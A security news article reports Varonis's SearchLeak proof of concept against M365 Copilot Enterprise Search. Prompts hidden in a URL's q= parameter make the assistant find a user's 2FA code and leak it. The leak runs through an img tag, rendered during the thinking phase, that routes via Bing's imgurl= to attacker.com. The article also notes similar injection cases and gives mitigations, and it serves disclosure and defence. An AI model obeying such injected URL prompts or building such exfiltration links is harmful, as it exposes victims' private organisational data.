A recent proof-of-concept attack against Microsoft’s M365 Copilot Enterprise highlights what could be a much broader prompt injection threat based on a common way many AI-enhanced web services operate.

Dubbed SearchLeak, the attack hinged on a typical malicious objective: to leak sensitive corporate data by tricking employees to click on specially crafted links.

To carry out the attack, researchers combined three weaknesses in the Copilot Enterprise Search implementation — one of which stands out as a potential issue in other AI-enabled applications as well. Microsoft, which rated the information disclosure flaw as critical, patched the vulnerability on the server side earlier this month, but the attack also shows the implications of AI-powered services having broad access to corporate assets on behalf of their users.

“Since SearchLeak targets the Enterprise tier of Microsoft, the blast radius isn’t limited to personal data — it’s able to surface anything the user has access to inside the organization including emails, meeting invites and notes, SharePoint documents, OneDrive files, and other indexed business content,” researchers from Varonis Threat Labs said in their report. “Depending on how M365 is connected to the environment, the blast radius could extend even wider.”

Parameter-to-prompt injection

What makes the attack possble is the way Microsoft Copilot Enterprise Search operates.

As is common for search capabilities in many web applications, Copilot Search relies on URLs that contain a ?q=[query] parameter. But because Copilot Search is AI-powered, the query parameter accepts natural language prompts, not just simple search queries.

“Turning a URL parameter into an AI instruction that silently exfiltrates data? That’s the AI-native piece,” the researchers said. “It’s the new attack surface that makes the classic bugs exploitable in a way they wouldn’t be otherwise, something we’ve now witnessed with SearchLeak and Reprompt.”

Reprompt is a similar attack Varonis researchers uncovered in Microsoft Copilot Personal and revealed this week. But there are other pecedents for what Varonis has dubbed as parameter-to-prompt (P2P) injection. Last October, researchers from LayerX revealed a prompt injection vulnerability in Perplexity’s Comet browser that also relied on data leak instructions being passed to an AI-powered search engine via the q= parameter in URLs.

Even earlier, in July 2025, researchers from Tenable revealed a vulnerability in ChatGPT that also used maliciously crafted URLs. With URL query parameters becoming a common way of enabling on-the-fly prompt execution in AI-powered applications, this attack vector might become more commonly exploited in the future.

“We did check many other LLMs, and some of them had a similar technique,” Mark Vaitsman, the security research team leader at Varonis, told CSO. “Some other LLMs have the option to use this type of technique, but are very strict about what can get in.”

Getting the data out

Getting an LLM to execute rogue prompts to access a company’s data is only one part of a succesful attack. The other requires finding ways to extract that data to an external server, because just tricking the web service to present data to the victim inside their browser does not inherintely pose any security risk. The user already can search and access that data.

One common exfiltration technique in prompt injection attacks is to abuse an AI-powered web application’s ability to render responses as HTML, given that HTML can include elements that require the browser to send requests to remote resources, such as <img> tags. By abusing such tags, attackers can force the data to be leaked via browser requests to a server under their control.

In the case of Copilot Enterprise Search, Microsoft had a guardrail in place that enclosed the LLM’s search responses inside <code> blocks, presenting it to the browser as text. Varonis researchers found, however, that this wrapping did not apply until after the model finished its thinking phase. The thinking process itself was still rendered as HTML in the user’s browser.

“This is a textbook race condition,” the researchers said. “The guardrail is a post-processing step applied to the final output, but the browser doesn’t wait for ‘final’ — it renders incrementally. By the time the sanitizer activates, the damage is done.”

Microsoft had a second guardrail, the Content Security Policy (CSP), that allows website owners to define what external domains can load resources into the page. In this case, the CSP for m365.cloud.microsoft.com also allowed resources from *.bing.com, Microsoft’s search engine.

It turns out that Bing’s Image Search supports an imgurl= URL parameter to fetch images from external servers. As a result, the researchers could use Bing’s Image Search as a proxy to leak the data.

The proof-of-concept attack chain developed by Varonis showed how a user’s two-factor authentication code sent via email could be leaked. First, they would craft a link to Copilot Enterprise Search that would instruct the service to search through the user’s mailbox for an email with the code, then store that code in a variable and formulate a response that includes an <img> with the source being https://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker.com/$variable/img.png.

“Because Copilot Enterprise operates with the user’s full graph permissions, the attacker effectively inherits the victim’s access to the organization’s data, without ever authenticating,” the researchers found. “This enables account takeover and broader data theft scenarios without the victim’s knowing. No special privileges are needed on the attacker’s side, just a crafted URL and a single click from the victim.”

Mitigating the broader implications

What these POC attacks show is that developers of AI-powered web applications and services need to filter the type of prompts allowed through URL query parameters and sanitize output at render time, not as a post-processing step. CSP policies should also be reviewed for potential server-side request forgery (SSRF) risks through the whitelisted domains.

Organizations that use such services should train employees to be suspicious of links with long query parameters, especially if they’re encoded. Security teams should detect and block requests to URLs that contain HTML tags in them or instructions to embed data in those tags.